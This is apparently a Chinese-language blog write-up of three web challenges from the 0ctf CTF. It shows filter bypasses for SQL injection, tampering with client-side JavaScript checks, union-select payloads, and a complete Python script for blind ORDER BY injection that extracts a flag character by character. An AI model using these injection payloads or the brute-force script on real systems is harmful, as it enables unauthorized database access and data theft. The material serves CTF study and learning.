0ctf 部分web writeup.md

simplesqlin

这个题尝试点击,注入点是id,发现他把一些关键字符过滤了,如selectfrom 等,那样经过查找资料,可利用/**/00%0b绕过过滤,经过尝试%00%0b都可以,那样构造payload
得到数据库news
这里写图片描述

得到表flag
这里写图片描述

得到列flag
这里写图片描述

最终得到flag
这里写图片描述

KoG

King of Glory is a funny game. Our website has a list of players.

查看源码,是一道关于js的题

function GetUrlParms()
{
    var args=new Object();
    var query=location.search.substring(1);
    var pairs=query.split("&");
    for(var i=0;i<pairs.length;i++)
    {
        var pos=pairs[i].indexOf('=');
        if(pos==-1) continue;
        var argname=pairs[i].substring(0,pos);
        var value=pairs[i].substring(pos+1);
        args[argname]=unescape(value);
    }
    return args;
}
function go()
{
    args = GetUrlParms();
    if(args["id"]!=undefined)
    {
        var value = args["id"];
        var ar = Module.main(value).split("|");
        if(ar.length==3)
        {
            var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
            $(document).ready(function(){
              content=$.ajax({url:s, async:false});
              $("#output").html(content.responseText);
            });

        }
        if((ar.length==1)&(ar[0]=='WrongBoy'))
        {
            alert('Hello Hacker~');
        }
    }
}

var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);

这个当你输入带有敏感的字符,便会返回wrongBoy,并弹窗

这样的话,只要利用chrome进行单步调试,将不一样的判断语句除掉就可以

通过不间断的调试,可知道第一个不一样的地方,这时将$13true就可以

第二个位置就是$42的值,当正确的时候$42true,致使label0,而错误的时候label12进入中断,这样只要使if(0)就可以
之后就能正常的注入了,不过由于同源策略的原因,异步请求交不过去,所以把源码改成如下

<!DOCTYPE html> <html> <head> <title>King of Glory Player List</title> </head> <body> <script
  src="https://code.jquery.com/jquery-3.1.1.min.js"
  integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
  crossorigin="anonymous"></script> <script src="function1.js"></script> <script type="text/javascript">
function GetUrlParms()
{
    var args=new Object();
    var query=location.search.substring(1);
    var pairs=query.split("&");
    for(var i=0;i<pairs.length;i++)
    {
        var pos=pairs[i].indexOf('=');
        if(pos==-1) continue;
        var argname=pairs[i].substring(0,pos);
        var value=pairs[i].substring(pos+1);
        args[argname]=unescape(value);
    }
    return args;
}
function go()
{
    args = GetUrlParms();
    if(args["id"]!=undefined)
    {
        var value = args["id"];
        var ar = Module.main(value).split("|");
        if(ar.length==3)
        {
            var s = "http://202.120.7.213:11181/api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
            window.location.href=s;
            $(document).ready(function(){
              content=$.ajax({url:s, async:false});
              $("#output").html(content.responseText);
            });

        }
        if((ar.length==1)&(ar[0]=='WrongBoy'))
        {
            alert('Hello Hacker~');
        }
    }
}

var wait = setInterval(function(){if(Module.main != undefined){clearInterval(wait);go();}}, 100);

</script> <center><h1>King of Glory Player List</h1></center> <center><div id="output"><h2>hmmmm</h2></div></center> </body> </html>

function1.js就是我们调整过得,接下来就能正常的发送请求了。

发现服务端并没有再进行过滤了,然后由这个payload

id=1 order by 2

确定是2列了。
然后开始爆破
表名有fl4g,user
fl4g列名就一个hey
所以

?id=1 and 1=2 union select 1,hey from fl4g

拿到flag。
这里写图片描述

Temmo’s Tiny Shop

Enjoy online shopping? It’s so convenient, and I like it very much.

这是一道条件竞争的题,当有钱后买hint

select flag from ce63e444b0d049e9c899c9a0336b3c59

这明显就是注入题,首先找注入点在哪
发现在搜索的orderby处
这里写图片描述

这里写图片描述

通过if语句进行逐字判断

脚本

import requests
import string 

dic=string.ascii_letters+'0123456789~!*()-{}_'
r=requests.session()
url = 'http://202.120.7.197/app.php'  
header={"Cookie":"PHPSESSID=3lqjrmgiuurlnmgerokt0kk8o6"}

def sendsort(TEMPLATE):  
    data = TEMPLATE
    #print data
    content=r.get(url+data,headers=header).content
    if content.find('"id":"5"')>content.find('"id":"2"'): 
        return 1  
    else:  
        return 0   
TEMPLATE = "?action=search&keyword=&order=if(substr((select(flag)from(ce63e444b0d049e9c899c9a0336b3c59)),%d,1)like(%s),price,name)"
flag = []  

for i in range(1,40):
    for j in dic:
        print j,
        if sendsort(TEMPLATE%(i,hex(ord(j)))) == 1:
            print 'ok' 
            flag.append(j)
            break
        else:
            print 'no'

print 'Flag:',''.join(flag)  

得到flag
这题好坑,爆出来好多_%,还不区分大小写
这里写图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值